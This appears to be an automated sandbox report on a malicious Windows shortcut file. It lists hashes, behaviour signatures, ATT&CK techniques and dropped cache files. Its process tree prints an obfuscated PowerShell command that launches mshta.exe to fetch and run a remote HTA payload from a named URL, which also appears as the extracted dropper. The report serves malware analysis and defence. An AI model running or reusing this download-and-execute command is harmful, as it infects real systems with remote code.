Analysis

  • max time kernel
    137s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 02:13

General

  • Target

    eddc294fc8599c7fccde15ac5516eb8fdab161aafe83e15a21dab41c98781765.lnk

  • Size

    1KB

  • MD5

    27251cc401cfe955c65b5512b5684f8b

  • SHA1

    80c817b04ae8a395d8f078bbf4e117895c13e6bd

  • SHA256

    eddc294fc8599c7fccde15ac5516eb8fdab161aafe83e15a21dab41c98781765

  • SHA512

    c1ab81ca147a45d1d60008d3b1edb610552ebd60202a0f791352a139512fdae276b916c438254b48d72105ae061d98346f55c3c92866aa45c28483ca37f1717b

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://foundationforwomenshealth.com/swim.hta

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\eddc294fc8599c7fccde15ac5516eb8fdab161aafe83e15a21dab41c98781765.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://foundationforwomenshealth.com/swim.hta'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:8
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" https://foundationforwomenshealth.com/swim.hta
        3⤵
        • Blocklisted process makes network request
        • Checks whether UAC is enabled
        PID:2152
  • C:\Program Files (x86)\Internet Explorer\ielowutil.exe
    "C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
    1⤵
      PID:3732
    • C:\Program Files\Internet Explorer\iexplore.exe
      "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4352
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4352 CREDAT:17410 /prefetch:2
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:3244
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4352 CREDAT:82946 /prefetch:2
        2⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:4524

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    3
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
      Filesize

      717B

      MD5

      822467b728b7a66b081c91795373789a

      SHA1

      d8f2f02e1eef62485a9feffd59ce837511749865

      SHA256

      af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

      SHA512

      bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\706CA7D6DBAE891CDEA570A00B8F615A
      Filesize

      503B

      MD5

      4ca3c20cf0350948d78034ae05f7214a

      SHA1

      7e22661b0cfff067f0214fd592146dd7e235e6af

      SHA256

      310d57e27b68292969aad3acad17d241e9f6dd7d0d289cea4d501dc73a0309f7

      SHA512

      3d3a5534bc16b1796a4b9656369b0511283501d3474f7ede8b1249f7064ba10f012f6143b1d51776c54abb83a1a09c6b0cd1c0be4f6e1a1a3f51d251cf9c52f8

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
      Filesize

      471B

      MD5

      01409a92b179c99711ea8c28d307d0c4

      SHA1

      a9cc2b0c5727e2af14819f3908c4693f8e891392

      SHA256

      3034962a4c308ef5e66a2de7faf1ed2439b7e59086a8c07ad59ce3669b8ee01c

      SHA512

      8e86173a54d253f3e05443c603222b9018d63a3fb8e3a26b2b5602c083c07b117d5c53ede08056b6aa4503380562444c6704de32b2cce76f146478616b7278c9

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
      Filesize

      192B

      MD5

      d6e19eae69b45d6abe5fbc7b6f6bf228

      SHA1

      478d9c791a59e90ffd2e9cfb9c147b778ba6201e

      SHA256

      f9f6c356c6b81243a68ba680f23fc44eb66f21eb3472d06f47324a75d712350b

      SHA512

      5ce8ca6e156a19addafb5173672912fb28aa177008c04a61a9620bdaf2d132fbee2a04723d59c8e47d8e4baf7b2c68ec4345d1acb34aca79db916796e774634a

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\706CA7D6DBAE891CDEA570A00B8F615A
      Filesize

      552B

      MD5

      af1f42bf68eb66ff0d7afbb218ff8e9f

      SHA1

      6671d9d62fe422a8dac478cafe8671b249906ea7

      SHA256

      d2b6bb30d6ce063bfde8953944f8d14e9643f9b2305307a746d99ff27515325c

      SHA512

      b2aae34dcb3f5eaeee39f67bbb833eb3e37d8e4173c5989578cc67ce7d7ab11693464d61bfe6cbc4105885b7915a33757efb046a9923273cb9e4a3d8ec310330

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
      Filesize

      404B

      MD5

      19c3bd6b27dc6dcf11dabdcd3ca93104

      SHA1

      e7041106522d5845f96323ab6badf1abde20ab62

      SHA256

      1682efd8fa30a1e2ca0313223900db2a83f7a9d1441a70e61298580e80274761

      SHA512

      9b3214d988b6a1ed871af7d1473fa66cf73eda0705e3d544f4ddbf58be4fe31b652b4147f8462ddaf4fad5a12419fa8e1c4228f4a1ca4380bfac26164f9f7d70

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\2IX84YPE\suggestions[1].en-US
      Filesize

      17KB

      MD5

      5a34cb996293fde2cb7a4ac89587393a

      SHA1

      3c96c993500690d1a77873cd62bc639b3a10653f

      SHA256

      c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

      SHA512

      e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0gdazehi.vph.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/8-17-0x00007FF917AA0000-0x00007FF918561000-memory.dmp
      Filesize

      10.8MB

    • memory/8-16-0x00007FF917AA0000-0x00007FF918561000-memory.dmp
      Filesize

      10.8MB

    • memory/8-13-0x00007FF917AA0000-0x00007FF918561000-memory.dmp
      Filesize

      10.8MB

    • memory/8-12-0x000001F423D60000-0x000001F423D82000-memory.dmp
      Filesize

      136KB

    • memory/8-2-0x00007FF917AA3000-0x00007FF917AA5000-memory.dmp
      Filesize

      8KB